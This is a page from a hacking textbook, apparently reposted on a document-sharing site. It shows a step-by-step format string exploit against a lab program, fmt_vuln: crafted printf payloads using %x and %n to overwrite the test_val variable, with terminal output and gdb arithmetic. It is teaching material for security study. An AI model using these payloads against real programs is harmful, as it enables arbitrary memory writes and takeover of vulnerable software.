16.01.2015 Views

Hacking

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

The last %x format parameter uses 8 as the field width to standardize the<br />

output. This is essentially reading a random DWORD from the stack, which<br />

could output anywhere from 1 to 8 characters. Since the first overwrite puts<br />

28 into test_val, using 150 as the field width instead of 8 should control the<br />

least significant byte of test_val to 0xAA.<br />

Now for the next write. Another argument is needed for another %x<br />

format parameter to increment the byte count to 187, which is 0xBB in<br />

decimal. This argument could be anything; it just has to be four bytes long<br />

and must be located after the first arbitrary memory address of 0x08049754.<br />

Since this is all still in the memory of the format string, it can be easily<br />

controlled. The word JUNK is four bytes long and will work fine.<br />

After that, the next memory address to be written to, 0x08049755, should<br />

be put into memory so the second %n format parameter can access it. This<br />

means the beginning of the format string should consist of the target memory<br />

address, four bytes of junk, and then the target memory address plus one.<br />

But all of these bytes of memory are also printed by the format function,<br />

thus incrementing the byte counter used for the %n format parameter. This is<br />

getting tricky.<br />

Perhaps we should think about the beginning of the format string ahead<br />

of time. The goal is to have four writes. Each one will need to have a memory<br />

address passed to it, and among them all, four bytes of junk are needed to<br />

properly increment the byte counter for the %n format parameters. The first<br />

%x format parameter can use the four bytes found before the format string<br />

itself, but the remaining three will need to be supplied data. For the entire<br />

write procedure, the beginning of the format string should look like this:<br />

0x08049794 0x08049795 0x08049796 0x08049797<br />

94 97 04 08 J U N K 95 97 04 08 J U N K 96 97 04 08 J U N K 97 97 04 08<br />

Let’s give it a try.<br />

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\<br />

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n<br />

The right way to print user-controlled input:<br />

JUNKJUNKJUNK%x%x%8x%n<br />

The wrong way to print user-controlled input:<br />

JUNKJUNKJUNKbffff3c0b7fe75fc 0<br />

[*] test_val @ 0x08049794 = 52 0x00000034<br />

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"<br />

$1 = 126<br />

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\<br />

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n<br />

The right way to print user-controlled input:<br />

JUNKJUNKJUNK%x%x%126x%n<br />

The wrong way to print user-controlled input:<br />

JUNKJUNKJUNKbffff3c0b7fe75fc<br />

0<br />

[*] test_val @ 0x08049794 = 170 0x000000aa<br />

reader@hacking:~/booksrc $<br />

Exploitation 175

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!